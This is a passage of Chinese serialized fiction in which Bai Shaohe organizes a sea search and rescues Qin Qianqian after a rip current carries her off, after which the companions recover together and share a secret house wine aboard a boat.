“对，她就穿着浅紫色衣服，刚刚就站在这里，你们有谁……”他话还没说完，一旁的人都唉声叹气，让他别找了。
“你要是说她刚刚就站在这里的话，那她活命的可能不大了。那肯定是遇到阎王波，直接给卷进深海里去了。”
白邵禾揪住那人的衣领，眼神狠戾地让他不要胡说。那人怂了，可他身边拉架的人却七嘴八舌地跟他解释。
“他说的是对的呀，我们这里就是有阎王波。”
“你刚刚站在那里被海浪推回来，那种就是普通的海浪，可阎王波就是把人往海里拽的。”
“被卷进阎王波，那可真是不指活命了……”
白邵禾没空听这些人胡扯，他松开手中的人，推开层层围观的人群，负手站在原地。简则明直接从临街的房檐上跳了下来，赶过来跪在殿下脚边。
“你先带人在这里搜寻，找到人后不用顾忌什么，直接救就是。等我把元德他们叫来后，你们留一半人继续找，你带人去召集大部队来这里。”
掘地三尺，也要找到秦千千。
元德心思机敏，一直在门口守着。白邵禾冷着脸回来的时候，他还在奇怪秦千千去了哪里。
“她被海浪卷走了，快上去喊她们去找人。”白邵禾言简意赅，说完就准备去叫别的人。
都说关心则乱，元德算是深刻体会到了这句话。他拦在白邵禾眼前，问他简则明是不是也露面了。
白邵禾一脸“你在说什么废话”的样子，不耐烦地扫了他一眼。元德心中暗道不好，这下是真的要完了……
“公子，万万不可鲁莽啊！我们苦心孤诣那么久，不能因为此时暴露了身份啊！”元德压低嗓音，苦口婆心地劝着。
白邵禾完全没听进去，反而是怒不可遏地警告他：“元德，我宁愿把身份公之于众，也不想让她去死。”
话都说到这里，元德也明白了殿下的心意，他侧身让开位置，白邵禾直接越过他去找桑风雪她们。
元德也连忙跟了上去，他认为现在的殿下是关心则乱，自己跟着能找补的话，尽量找补一下。不然哪怕找回秦千千，形式也会很严峻。
“快跟我去沙滩上找人，千千落水后被浪卷走了。”白邵禾一把推开门，看着她们说。
“不是，你逗我们玩……”桃花花知道她怕水，怕水的人怎么会去海边戏水呢？
可白邵禾想都没想就打断了她：“是真的，我已经找人在那里搜寻了，我们也得马上过去。”
元德进屋就听到这句话，他差点两眼一抹黑晕过去。万幸的是屋中的人都急切地跑出去找人，谁都没意识到他话中隐藏的信息。
众人在白邵禾的带领下，到了那片妖冶又梦幻的海域，现在海边几乎没什么人了。而且涨潮的速度比他想象中快得多，现在的潮水，已经溢上自己刚刚被撞的地方。
“就是这里，我们分成两个方向找，沿着海边走。”白邵禾知道现在唯一能做的，就是祈祷她被海浪冲上岸。
现在海上漆黑一片，而且海水还冰冷刺骨，根本没办法下海找。乘船出海找，也得天亮了再说了。
王老怪、桃花花和元德往西边找，白邵禾跟桑风雪一路往东走。他们两个的
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前进速度，要比另外三位快得多，很快就走到海中璃光都消失的地方。
也就是说，这个范围已经足够大了。搜寻无果，两个人只能原路返回。
白邵禾看着阴沉着脸，一言不发的桑风雪，就主动开口问她：“清风酒楼应该有遍布天下的线人吧？你能联系上她们，让她们过来帮忙吗？”
放在以往，白邵禾是不会问这种敏感的问题的，因为会让人怀疑他的真实目的。更何况，他此行的确是别有用心的。一旦被怀疑，那就很有可能彻底暴露。
可现在他顾不得那么多了，自己暗卫最快也要一天一夜才能赶来。现在，最紧张的就是时间。
他们晚一刻找到她，她就会在冰冷的海水中多浸泡一刻……
白邵禾不忍再想，他只能这么直白地问桑风雪。
桑风雪听到这个问题，整个人都紧绷了起来，可看到他焦虑到心碎的样子，又不像是演的。
于是只能把自己知道的，有关清风酒楼的事情，和盘托出。
“这条路是死路。据我所知，千千不仅是清风酒楼唯一能联系她主人的人，还是除了她主人之外，唯一能调用芳草阁线人的人。”桑风雪无奈又后怕地闭上眼睛，实在不敢相信这事情是真的。“所以，我们只能靠自己。”
白邵禾找了芳草阁近十年，可眼前真听到这个名字后，他心中全然没有欣喜，只是觉得万般无奈。
“难道姜千秋完全不顾她的死活吗？”白邵禾觉得自己胸腔中燃烧着一股怒火，那怒火快把他浑身的血液蒸干，一开口就觉得嗓子干涩，几乎发不出声音。
桑风雪咬着嘴唇，对于这个事情她是真的不知道。“我只知道姜千秋几乎不跟她见面，而且千千不止一次跟我说，她会在这趟巡商过程中出意外……”
“不可能！绝对不会是这种意外。”白邵禾不想听她再说下去，便果决地往前走着。语气坚定不可动摇，既是说给她听，也是说给自己听：
“我一定能找到她的。”
她姜千秋的人指望不上，那就靠他自己。
可元德王老怪那边，也是一无所获，他们碰头后个个都神色凝重。白邵禾盯着眼前波涛汹涌的海面，内心十分复杂。
桑风雪不愿意放弃联系姜千秋的可能，她开口问桃花花，毕竟自己没有常年留在酒楼，桃花花了解的事情，要比自己多得多。
“桃花，你知不知道怎么找到阁主？或者找到些芳草阁的线人也好。”
桃花花欲言又止地看了看所有人，白邵禾一看就知道，她一定知道些什么。
“人命关天的时候，你要是知道什么，就赶快说。”白邵禾有些不耐烦，难不成守护所谓的秘密，比秦千千的命还重要？
桃花花长叹一口气，“我们现在没有见到阁主，其实也是一件好事儿。上次我偷看到信笺上的一句话，阁主说如非必要，她不会露面的。”
众人疑惑不解，那究竟什么时候，才是必要的时候呢？
“只有千千死了，她才会露面。”桃花花咬紧牙关，从牙缝中挤出这句话。
82. 无比相信姜千秋
白邵禾怒极反笑，所以现在她不出面帮忙，还是正确的了？
“我想知道，姜千秋有出现过一次错误吗？”白邵禾不愿意跟她们一样，没心情叫什么阁主，他就要直呼名讳。
桃花花、桑风雪、以及王老怪都不可置信地看着他，她们完全没想到，居然会有人怀疑姜千秋。
“你可能不知道，她从不出错。”王老怪沉声开口，眼神昭示他正沉浸在过去的事情。
“是的，阁主说过的话，全部应验。”桑风雪也不再沉默。
白邵禾原本也是明知故问，得到这些回答后，他不知是置气还是释然，反正他的神情极为放松，甚至还戏谑地挑了下眉。
“好，那我们就在这里等，看看是先等到秦千千自己回来，还是等到袖手旁观的姜千秋，过来跟我们宣告她的死讯。”
所有人都沉默了。可大家不能真的在这里干等，于是除了白邵禾，其余的人还奔走在海边。
指不定，在下一瞬间就能看到被冲上岸的秦千千。
看着她们两两一组离开后，白邵禾眼神阴翳，朝面前的海面走去。简则明担心殿下做出什么傻事，直接跑出来拦在他面前。
刺骨的冰冷，再加上一波又一波海浪的冲击，让简则明险些没有站稳。
同样的刺痛，白邵禾当然感受得到。不仅痛在他的身上，也痛在他的心里。他简直无法想象，这种情况下，秦千千要怎么活？
她又不是身怀绝技，或者水性很好的人，偏偏这些保命的技能她全部都没有。也就是在这一瞬间，他突然发现，姜千秋不让她外出，这个决定一点错都没有。
想起姜千秋，他微微蹙眉，痛苦地垂眸，不让简则明察觉自己眼底翻涌的绝望。
他不信神佛，更别说姜千秋这种肉体凡胎的普通人。在此之前，他只觉得姜千秋是个很有手段的人而已。
可刚刚跟桑风雪她们商议的时候，他的确是在置气，只不过是跟不信她的自己置气。
现在，他无比相信姜千秋。
“简则明，海上的渔船出去多少条？这里的船应该都出海了吧。”
他怎么可能袖手旁观，等着奇迹降临？早在回客栈前，他就交代简则明，直接去附近花重金租借渔船，让他们出海找人。
而且也顾不得暴不暴露的问题了，海上的渔船都高悬渔灯，一点一点在海面上寻找。
只不过凑巧的是，在海边看不到那微弱的渔灯。因此，桑风雪她们才完全没有察觉，其实海面上也停留了很多人。
“公子，附近能用的渔船，现在都出海了。共一百一十二条，都在远处找人。而且我们在找人的过程中，也了解了阎王波。”
简则明硬着头皮解释，不过不是忌惮殿下肃杀的气势，而是及腰深的海水实在太过冰冷，仿佛冷到骨子里，让他控制不住颤栗。
“每当有大波浪的时候，两个浪相撞的地方，有可能产生阎王波，也有人叫疯狗浪。这种浪会把人往远离海边的方向卷，少的卷出数十里，多的有可能在百里之外才能找到……”
尸身两个字，简则明却怎么都说不出口。不敢说，也不能说。
“那就派人继续找。”白邵禾挥手让他离开，自己却仍然伫立在海水中。简则明十分无奈，知道自己劝不动殿下，就只能先行离开。
好在他前脚刚走，后脚元德就赶了回来。
看到在水中的殿下，元德也顾不得什么犯忌讳了，他过去连拉带推搡，硬生生把白邵禾拽回岸边。
元德知道他此举是为何，便想方设法劝告他。
“公子，您现在想跟她感同身受，完全没有意义。所以，千万不要再这么做了。”
白邵禾又何尝不知道，自己现在唯一能做的就是冷静。现在能做的都做了，只能冷静等消息。
想来也是好笑，他此行就是为了见姜千秋的。可没想到，会有完全不想见她的时候，特别是现在。
天光乍明，桑风雪她们几乎在海边游荡了一整夜。再身强力壮的人，也被海风吹得头脑昏涨，意识有些模糊了。
依旧是毫无音讯。
“你们先回去休息吧，我再在这里守一会儿。”白邵禾对桑风雪她们提议。
大家都清楚现在有人倒下，就更不利于找秦千千，于是只能先行回去。桃花花把自己随身携带的荷包塞给桑风雪，王老怪也递上了自己的钱袋子。
桑风雪连带自己的钱袋，全都交给了元德。
“你们在这里租一两条船，试着出海去找找吧。这些钱虽然不多，但聊胜于无。我回去也翻翻千千的行囊，若是还有钱，我就送过来。”
她们走后，白邵禾活动着僵硬的脖子，眼睛却依旧死死盯着眼前的海面。元德掂量着钱袋的重量，不由得失笑，昨天他们撒出去的钱，可比这个多得多了。
不过，早上元德总算是听到了个好消息。她们刚走，元德就赶紧给殿下汇报。
“殿下，暗卫到了。现在打道回府的渔夫，我们可以继续租借他们的船，让我们的人继续去找。”
白邵禾无声默许，元德立即去码头安排。仅剩他一个人的时候，他低头看了看手中的传音贝壳。
从昨晚到现在，他一直拿在手中，不曾放下过。
他拿起胸前璀璨闪烁的贝壳项链，心情复杂到无以言说。
都说未至苦处，不信神佛。
现在，他算是对此有了深刻的体会。
白邵禾拿起贝壳，再次聆听里面波涛汹涌的声音，可海浪的声音听得他几乎无法呼吸。闭眼调整呼吸时，他不可控制地踉跄了一下。
一夜未眠，他也的确是心力交瘁。
元德赶忙过来扶住殿下，可就是这一扶，让白邵禾突然想到一个事情。
不能光在海面找，那样即使找到人，也极有可能是找到她的尸首。海上一定有小岛，秦千千不是随波逐流等死的人，她若是自救的话，一定会跑到岛上的。
元德赶忙去组织，抽调三分之一的船只，去探察附近的小岛。白邵禾不愿再干等，他直接上了一个仅容两人的小船。
“元德，你留在这里接应简则明，还有桑风雪她们。”
转眼就是中午，桑风雪和王老怪赶来，想让
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白邵禾元德他俩回去歇歇。听元德说，才知道白邵禾坐着船出海了。
桑风雪眼神极好，她扫了两眼海面上，就发现上面有很多渔船。看她眼神中流露出的疑惑，元德就知道，这一刻终究还是来了。
好在，自己已经想好了说辞。
“我们能不能去跟这些渔夫说说，若是看到人，帮忙救一救？”桑风雪指了下远处，王老怪跟着点头：“是啊，人命关天这种事情，他们应该会帮忙的吧？咱们不空口白话，真帮了咱们，我们给他们银子。”
元德没想到，这两个人会以为远处的人是在捕鱼，这样省得他说谎了。于是他变顺水推舟，应承了下来。
“嗯，白公子和我已经交代几条船了，咱们就等等消息吧。”
王老怪却挠了两下头：“既然白公子都能乘船去找，咱们也租船去海上找吧。”
谁知这却戳到了桑风雪的软肋，“你和元德去吧，我坐不了船。”
元德自然也不能走，他也用了这个借口，最后两个人站在码头目送王老怪跟另一个人渔夫离开。
元德也庆幸，殿下早有先见之明，租船的事情他是让简则明去做的。因此，他现在才能光明正大地站在码头。
桑风雪带着他去一旁的摊贩坐着吃饭，吃到一半，元德说自己闹肚子要去茅房。绕过街口，他才停住脚步，点头示意简则明汇报情况。
“后续赶来的暗卫，探查到一个消息，我觉得有必要立马告诉殿下。”
从昨晚到今天，段沙带着他的下属，兵分三路，一共取得了五次战斗的胜利。每次胜利都获得了一部分粮草和新收纳的兵力。
这五次斗争中，段沙采用的策略各不相同，声东击西、以逸待劳、避实击虚等等，勇猛程度如有神助。
听着他话中的倾向，元德皱眉问他什么意思。
“难不成你怀疑她是遁走，去帮助段沙扫荡灵川坡了？”
简则明赶忙摇头，先不说秦千千之前说过不会插手段沙他们的斗争之事。光这里距离灵川坡五天的路程，那是秦千千再怎么赶也无法在一天内到的地方。
要知道，暗卫们快马加鞭、日夜兼程，才花了整整一晚上赶到这里的。
“我的意思是，有没有可能姜千秋在那里。”
简则明犹豫不决，完全是因为桃花花昨天说的话，姜千秋露头，那就证明秦千千已经死透了。
他不敢直接把自己的猜测告诉殿下，也正巧殿下不在，他就放心地把这事儿先汇报给元德。
一时间元德也没办法下结论，他紧紧抿着自己的嘴，沉思良久才开口：“让咱们的人守好这里，若是姜千秋真露头的话，我们要提前告知殿下的。其它的，先按兵不动吧。”
这边忙的焦头烂额，简则明还得调一队精锐去探守灵川坡。白邵禾在海上也没闲着。
他和渔夫一个岛一个岛地寻找，语言不通，导致他只能靠划船的大爷帮他问路、找人。
可一切消息都石沉大海，没人见过什么漂上岸的人。
“娃儿！前面有个很小很小的岛，咱们要不要过去看看？”
83. 贝壳找到了，人却没见到
听大爷的描述，那是一个只高出海面半人高的小岛，上面光秃秃的什么都没有，也就一座房子大小。
白邵禾不愿意放过每个机会，就要去那里。
小船还没靠近，他就看到了暖黄沙子上，有什么东西正在闪烁。他胸口心跳如同擂鼓，那光芒看起来自己手中拿着的贝壳。
果然，小岛正中间放着的就是传音贝壳，还有原本戴在秦千千脖子上的两条贝壳项链。
大喜过望后，他环顾四周却十分苍茫无措。
东西找到了，可人呢？
海浪不断冲刷小岛，不说秦千千的足迹，连白邵禾刚刚踩踏过的足迹都不见了。
既然东西完整地摆在这里，那就证明她还活着，而且离这里不会太远。他把两个贝壳递给大爷保管，把两条项链揣进自己怀里。
既然无处寻找，他就准备潜进水中看看。大爷手里握着船桨，还叮嘱这个少言寡语的小伙子，“多加小心。”
可他刚潜下去没多久，就浮出水面。
大爷还在疑惑怎么上来的这么快。可再一看，他的嘴角却挂上了一抹笑容。
“找到人了是吗？”
白邵禾点头，他伸手拿掉脖子上的项链。虽然还没有找到人，但他确定秦千千就在水下。
刚刚自己下潜的时候发现，头朝下的姿势，会让本就松垮的项链从头上掉下来。
秦千千肯定也是因为这个原因，才把项链放在岛上的。
这次他深吸一口气潜入水后，在下沉约有五丈的时候，就看到远处依稀有个黑色的影子。好在海水澄澈，能让人看清楚远处的景况。
白邵禾想都不想就游了过去。
秦千千手里抓了个巴掌大小的鱼，察觉到自己快没法呼吸了，她就赶忙往上浮。所有的注意力都在头顶，让她没有注意到身边突然冒出来的人。
白邵禾从背后环抱住她，这可把秦千千吓了一跳。原本想要喊出声，结果声音没发出来，却结结实实地呛了好几口水。
气泡翻涌向上，被太阳照射的各个都闪闪发光。
都说死之前人看东西会变慢，秦千千就发现，从她口中争先恐后涌出的气泡，的确在自己眼前慢慢上浮。
白邵禾察觉到她溺水了，来不及解释，就直接捂住了她的口鼻。加速浮上水面后，他赶忙把人转了个方向，让她下巴垫在自己肩膀上。
在水中没办法保持平静，两个人随波浮沉。正是由于这种上下波动，让秦千千声嘶力竭地咳嗽。
白邵禾在背后轻拍她的后背，“好些了没有？”
听到自己说话，他才惊觉自己的嗓子非常干涩，说出的话还有些颤抖。
直到现在，他才长出一口气，仿佛劫后余生的是自己。
秦千千可算是抓到了救命稻草，她双手环上白邵禾的脖颈，低头倚在他颈间。
“我就知道你会来救我的。”她的声音颤抖，几乎是泣不成声。
白邵禾发觉，她环在自己背后的手，在不正常地颤抖，知道她肯定是害怕极了。便轻抚她的后背，像是抚摸小猫一般，替她理着后背不存在的“炸毛”。
她的情绪来的快，去得也快。长时间紧绷着精神，一旦放松下来，就会非常疲倦。
“咱们还是赶紧找个小岛吧，在水里泡太久，我真的没力气了。”
白邵禾揽住她的腰，带着她往回游。
也就是这个时候，白邵禾才弄明白，颤抖的不是她的手，而是她手中抓着的一直身形修长的鱼。
他真有些不知所措了。刚刚她都要被淹死了，可手里抓着的鱼居然没放手？
两个人躺在临近的一个小岛上的时候，白邵禾侧头看着身边的秦千千，问她：“这条鱼，是废了你很大的力气抓的吧？”
秦千千缓两口气，才咬牙切齿地点头，“可不是嘛！在海里抓了半天，最后差点把我憋死，才抓到它。”
他不再收敛自己的情绪，开心地笑出了声。一旁的秦千千也长叹一口气，终于把心放在了肚子里。
“我又累又困，就拜托你把我带回去了。哦，对了！还有这条鱼！”她刚说完，白邵禾还没来得及回应，她就缓缓闭眼睡着了。
若不是亲眼见到，白邵禾绝对不会信，有人能睡得那么快。不过想想她在海上担惊受怕了一天一夜，现在这样也情有可原。
于是朝远处的大爷呼唤，让他划船过来。仅容两人的船，坐三个人还是太拥挤了。
白邵禾就干脆把她打横抱在怀里，上半身被白邵禾拥在怀里，双脚却只能搭在船边。他担心船沿会硌到她的腿，就直接把自己的胳膊垫在下面。
紧赶慢赶，还是没能在天黑前赶回去。不过这样让白邵禾，看到了梦幻异常的场面。
船桨荡在水面上，泛起的涟漪都会闪烁着蓝光，转瞬又消失不见。船头破水前进的两侧，也有蓝光相伴。
白邵禾本想叫她一起看的，可她眉头舒展，好不容易睡熟。刚上船往回赶的时候，她还时不时地浑身颤抖一下，很明显是做了噩梦。
好不容易睡熟，他实在不忍心叫醒她。
船停靠岸后，元德眼尖，赶忙跑了过来。他搀着白邵禾起身后，目光这才落在睡得安详的秦千千身上。
“元德，把穿上的贝壳还有那条鱼，全都带上。”白邵禾给乘船大爷道了声谢，元德笑着过去给他递上了报酬。
“大爷，这笔钱不要告诉别人。”说罢，元德就拿着东西离开了。
剩下的那些船，简则明会留下来善后的，就不用元德再过多担心了。
大爷看着手中的一百两银票，急促呼吸了半天才缓过来神，赚大发了，赚大发了！
三个人回客栈后，白邵禾先抱着她去找桑风雪，让她和桃花花赶紧给她换个衣服。元德跑去找王老怪，殿下交代，让他待会儿去给秦千千看病。
王老怪下午坐船外出的时候，不慎跌落，被石头上的贝壳划伤左臂。现在正躺在床上休息，一听秦千千找到了，他就赶忙要过去，元德简直拉都拉不住。
“不用，等她换好衣服吧。”白邵禾刚好从隔壁回来。
他扫到贝壳还在桌子上，突然想到那条鱼。白邵禾
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一抬手，元德就知道他问的是鱼，就立马指了指那边的木盆。
殿下没说要不要活的，那他只好先让鱼活着。
看到白邵禾心满意足的点头后，元德的心也放下了一大半。王老怪焦急地问她的情况，有没有受伤，或者有没有哪里不对。
“还好，就是可能太疲累了，没怎么说话就睡着了。”
直到搭上她的脉，王老怪才惊呼了一声。
“什么睡着了，她这是昏迷了！”
这话让白邵禾大吃一惊，这怎么是昏迷了？明明她中途还做了噩梦来的……
从那之后原来不是睡的安稳了，而是彻底昏迷了啊……
桑风雪和桃花花也才恍然大悟，她们原本还以为千千是睡得沉，才没有被换衣服吵醒。
这下大家又有的忙了：王老怪去抓药，桃花花和元德负责熬药，白邵禾跟桑风雪则留在屋里照顾秦千千。
“你也一天一夜没合眼了，去休息一下吧。”桑风雪看着他精神奕奕的样子，心中满是不可思议。
白邵禾只去换了身干净衣服，便又回来守在床边。
屋中仅有她们三个人，她们自然是要聊些什么的。
“你是不是喜欢千千？”桑风雪声音平静，但这话就像平地惊雷，响彻整个房间。
白邵禾抬眸看了一眼她，而后眼波流转，落在秦千千脸上。
“是又怎么样，不是又怎么样？”话是这么说，他嘴角勾起的一抹笑意，却被桑风雪看得一清二楚。
一路上的风风雨雨，也让桑风雪看清了白邵禾。她觉得这的确是个侠肝义胆的正义之士。
再加上这次他的所作所为，让桑风雪又对他放下两分戒备。
这些话，她原本不该说的。
“千千是不是告诉你，她这辈子最不能做的事情，就是喝酒？”桑风雪觉得既然说了，那就索性把话说清楚。
白邵禾点头，秦千千的确说过这事儿。
“其实她错了。”
秦千千可以拥有万千挚友、百味人生，唯独不能动的东西，那就只有一个情字。
情起而心偏，因此情是酒楼老板的大忌。
“我不知道我的猜测是否正确，阁主自己就是个情缘寡淡之人，跟她联系最多的人，也就是她钦定的接班人，一定也会恪守这条规则。”
他听得出来，桑风雪真的是毫无保留了。只不过白邵禾不解，人真能无情无爱的活下去吗？
“那她不能再选个别人？”
白邵禾觉得她听出自己的弦外之音了。
他承认，自己就是喜欢秦千千。
桑风雪眼神复杂地抿了下嘴唇，事情没有他想象的那么简单。明白他的心意后，再往下说，就会觉得格外残忍。
“你可以想想，把桃花花培养成秦千千，需要多长时间。不是随便哪个人，都能成为那个可塑之才的。而且千千向来也以阁主为榜样，所以……”
她顿了顿，还是决定把话说完。
“所以，请你不要表现出自己对她的喜爱，以免她痛苦困惑。”
84. 反复无常白邵禾
权衡利弊的事情，白邵禾看的最清楚了。
他知道桑风雪这话完全在理，而且哪怕她不说，自己也不会表现什么的。现在只不过，要更加注意一些举动罢了。
白邵禾沉思后点头，桑风雪这才彻底放下心来。桃花花和元德，各自端了一碗药汤进来。
“哎？她还没醒，就要让她喝两碗药吗？”解决完心头大患后，桑风雪的语气都轻松了很多。
“不是，千千的药等她醒了后再喝，元德拿着的这一碗，是给白公子的。”桃花花直接把碗放在进门的桌子上。
元德则是直接把药端给白邵禾，“公子，趁热把药喝了，然后回去好好休息一下吧。”
忙活了一天一夜，又全身湿漉漉地回来，元德真担心殿下身体垮了。好在王老怪心细，直接给他配了些祛湿固本的药。
他端起药碗一饮而尽，不再说什么，直接回了房间。元德找机会跟他汇报，简则明发现的事情。
就在刚刚，元德收到消息，灵川山谷那边的战斗基本上结束了。周边的残余势力完全被扫荡干净，现在那里仅剩的两巨头，就是段沙和冉喜民了。
白邵禾嗤笑，这事情谁都不好妄下定论。
毕竟数年前，段沙和冉喜民就是靠混战发的家。那也完全有可能，他并没有收到谁的指点，完全是靠自己多年前的本事行事。
而且，秦千千都能看懂，决定不介入他们的事情。那比她聪明数倍的姜千秋，难道会不懂吗？
“这事儿不用担心，随时注意好那边的动向就是了。”强如白邵禾，现在也打了个小小的哈欠。“对了，这条项链放在你这里。”
他手中有三条项链，一条自己、一条秦千千的、还有一条是秦千千买给晏信的。
虽说听进去了桑风雪的劝告，但不代表他不能严防死守别人。无疑，晏信就是第一位需要注意的人。
元德本就不明白，再加上殿下从枕头下取出三条，他就更是一脸懵了。白邵禾跟他说不必懂，就帮他保管就是了。
最后还特意强调了一下，不能让秦千千发现。
于是，元德直接把项链转手交给简则明。
直至深夜，秦千千才从梦魇中惊醒过来。她猛地坐起身，大口大口呼吸着空气，仿佛下一秒就要被溺死了一样。
梦中，她还是在无边无际的海中浸泡着，时不时迎面打来的海浪，呛的她口鼻中全是咸苦的海水。
她本就惧怕漆黑无边的水，更别说这是浩渺汪洋。
心中的恐惧加上几乎无法呼吸的处境，让她放弃了挣扎，准备等死。可真当放弃所有希望时，她却意外发现，不挣扎反而能飘在海上。
“千千，你终于醒了！”桑风雪难得喜笑颜开，她抬手揉了一把她的头顶，喊桃花花把药拿过来。
想到自己已经获救后，秦千千这才平复了呼吸，大梦初醒般喝了药。被汤药苦到一个颤栗，这才彻彻底底回过神来。
她百感交集地抱住桑风雪不撒手，白邵禾赶过来时，就看到她趴在桑风雪肩头，小声啜泣。
王老怪在一旁欣慰地安慰所有人：“已经没事了。顶多也就是受了点惊吓，会做一段时间噩梦而已。”
“那要不你给她再开点药？”桃花花也是被喜悦冲昏了头脑，想都不想就问了出来。
“受惊得去找神婆，我开的药可能不管用。”王老怪一脸为难地说，逗得在场人都开怀大笑。
就连秦千千，都用手拂去脸上的眼泪，小声笑了起来。而她正好不困，就在白邵禾的询问下，讲起了那天的事情。
她原本在海浪只到膝盖的地方站着，可水中就像是有东西拉住她的脚腕一样，先是扯住脚踝把她揪倒，然后就扯着她飞速远离海边。
这一切发生的太快了。等她再度浮出水面时，眼前哪还有什么白邵禾，只能一望无际、漆黑无边的海水。
“桑姐姐和桃花知道，我之前碰到水就会死的。可是没想到，这次居然活了下来。”
秦千千脸上洋溢着劫后余生的喜悦，这看得白邵禾皱起了眉头。
她好像从来都不知道，吃一堑要长一智……
看她现在这轻松的神情，怕不是下次遇到稍微绮丽些的江河湖海，她还要直接下去。
不过白邵禾只能往好处想，最起码，这事没有给她留下很深的阴影。
原本桑风雪和桃花花，已经彻彻底底翻过她的包裹了，可以说，秦千千的家底，她们很是清楚了。
可今天，她跟变戏法一样，请众人在这里最贵的餐馆吃了一顿盛宴。结账的时候，足足花了二两银子。
要知道，二两银子可以买三百斤粮食。
“不怕你生气，千千。你失踪的时候，我们翻过你的包裹，你是身无分文啊。回来后也是我们给你换的衣服，没见你有什么钱啊？”
桃花花心直口快，在回去的路上直接问了她。秦千千嘴角噙笑：“什么都让你知道，那是你当老板，还是我当老板？”
白邵禾心中惊奇，按照她的意思，她已经在短短的半天之内，已经跟芳草阁的人见上面了，而且还是在众目睽睽之下。
他想不明白秦千千是怎么做到的，就连桃花花和桑风雪都不知情。不过，他也懒得去纠结这个问题了，芳草阁的隐藏手段，还是太高超了。
“对了，我早上只见到传音贝壳在我的屋里，我的项链是放在你那里了吗？”
“嗯，这是你的两条。”白邵禾从怀中拿出那两条，不动声色地递给她。秦千千刚接过项链，就察觉到了不对劲。
“你的项链去哪里了？”
在她问出这句话的一瞬间，元德突然明白了殿下的用意。
白邵禾勉强挤出一个笑容，“昨天潜进海中的时候，项链就那么直接滑落了，我忙着去找你，就没有去捡。”
看他神情有些落寞，秦千千赶忙安慰他，这不是什么大事。说着，就把手上的一条项链挂到他脖子上。
“这不是你给……”他佯装惊讶，却被秦千千直接捂上了嘴。
“就是给你的。再说，那家伙现在可太有钱了，应该不欠这一条项链。”
诡计达成，这一天白邵禾的心情别提多好了。可让他也没想到的是，晚上他就黑了
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脸。
好了伤疤忘了疼的某人，提议大家坐船去海上看璃光。
白邵禾原以为所有人都会拒绝，结果除了自己和元德没表态，别的人居然都同意去。甚至连晕船的桑风雪，也都同意了她的提议。
秦千千直接豪掷五两，租了个去远海打渔的船出海。
只有这种大船，才不容易让桑风雪晕船。而且有王老怪跟着，他拍着胸脯保证，不会让她晕船的。
众人都上了船，只有白邵禾与元德伫立在海边，一动不动。秦千千笑意盈盈地过去找他，问他怎么不过去。说着，还扫了眼元德。
元德还艮啾啾地站在原地，秦千千朝他摆手让他上船。他誓死追随殿下，怎么会因为她一摆手就走？
“元德，我说没说过，你仿佛不像我找的仆役，更像是邵禾兄的门童啊。”秦千千还意味不明地朝他挑了挑眉。
元德嘴上说着哪有，却赶忙跑去船上了。秦千千目送他上船，一转头才发现，白邵禾一直在盯着她。
她正想开口，却被白邵禾一句话噎了回去。
“我不去，你也不许去。”
秦千千一脸惊讶，这还是她第一次见白邵禾，态度如此强硬。可惜他不是，那个唯一能让自己听话的人。
“五两银子呢！赏个脸，今晚我要在船上讲故事的。”
秦千千也看透了眼前的人，要想劝动他，管靠讲理是不行的。这个人，得有什么事情能钓起他的兴趣。
果然，白邵禾一改强硬做派，眼波流转，问她是什么故事。
“到时候你就知道了。”
登船远行，在海上游荡了两个时辰后，白邵禾第三次把站在船边的秦千千扯回来。他实在忍无可忍，问她究竟要讲什么事情。
秦千千诡计得逞地瞥了他一眼，笑得眉眼弯弯地开口：“讲一个人被骗上船的故事。”说罢，她挑衅似的朝他挑眉。
白邵禾哑然失笑，还是自己放松警惕了，就这么质朴无华地被她骗了。那边的秦千千也终于正经了起来，她拉着白邵禾，喊上别人围坐在炭火边。
白邵禾忍笑的眼神，无意间撞上桑风雪有意的打量，她的眼神最终落在两个人交握的手上。
他立马敛去脸上的笑意，悄然松开了秦千千的手。
本来还在忧虑她会不会发觉什么，可桑风雪恰好在下一瞬间喊她，让秦千千完全没有察觉到不对，朝着桑风雪那边跑去。
她们两个人不知道说了什么，反正秦千千笑得开心，嘴上还说这什么知道了。
人坐齐后，秦千千起身去船舱里拿东西，大家都抬头张望。
没成想她臂弯里抱了两坛酒，黑陶罐子上系着块儿红布，坛身没有贴任何字样。
白邵禾眼神晦暗，他觉得这应该就是清风酒吧？传说中享誉天下，却仅此一家的一款名酒。
秦千千跑了两趟，才把每个人的酒都拿了过来，每个人一坛。最后她还分了船老大两坛，自己空着手回来，落座在桑风雪和桃花花之间。
“各位，今天可以大饱口福了啊！千里迢迢送来的清风酒，仅此七坛。”
85. 彻夜畅谈
果然，白邵禾没有猜错。
他端详着手中漆黑的坛身，不止为何，总觉得这抹黑色很是神秘。
秦千千今天心情很好，做什么事情也都不藏着掖着了。看他盯着坛子发呆，就笑着跟他解释。
“这可是我们清风酒楼，顶顶保密的物件。所以，不管是酒的酿造，还是这酒瓶子的制作，全都是保密的。邵禾兄，你再看，也看不出什么花样的。”
不知道是不是白邵禾的错觉，他总觉得今晚的秦千千，似乎更加肆意舒展一些。这种表情，他总觉得自己在哪里见过。
前年有个番邦领主，带着皇子觐见耳朵时候，那皇子在不知道他身份的时候，顶撞了他。没多久领主过来的时候，他就是那般肆意的。
因为他知道，有人过来给他撑腰了。
心思回到现在，他在想，难不成姜千秋来给她撑腰了？还是说，姜千秋真的在灵川山谷。
疑窦丛生，但目前全都没办法验证真伪。
秦千千撺掇着所有人，打开酒尝尝。一向克制的桑风雪，早就迫不及待地打开了酒坛，尝了一口后，满意地咂么嘴。
“没想到，在璃光海这奇幻之地，还能喝到清风酒。”要说桑风雪行走江湖，最舍不得的，那还得是这一口清酒。
不过清风酒楼的规矩，那就是酒不外带。就连跟秦千千关系好成这样的桑风雪，也不能例外。想起这个，桑风雪就格外好奇，她是怎么把酒带出来的。
“这就是我的秘密了，反正，这七坛酒也算是酒生圆满，成为酒楼第一批外出的酒了。”
听着她们的谈话，白邵禾仰头喝了口鼎鼎大名的清风酒。
比起寻常酒的辛辣，清风酒入口皆是醇香，萦绕在唇齿之间的清香，更是让人心旷神怡。他颇为意外，没想到这天下还有这种口感的酒。
一旁的元德也面色惊讶地看着手中的酒，他可算是知道，清风酒的“清”字，是哪里来的了。
入口清爽甘甜，总之，不像是酒。
“怎么样，评价评价？”秦千千问他们两个，这边的人完全不需要问，王老怪已经默不作声干了大半坛了。
“唇齿留香，的确是好酒。只不过，感觉是不是太绵醇了些？”白邵禾的评价，可谓是相当鞭辟入里了。
他说出了元德心中所想，元德就连忙点头。
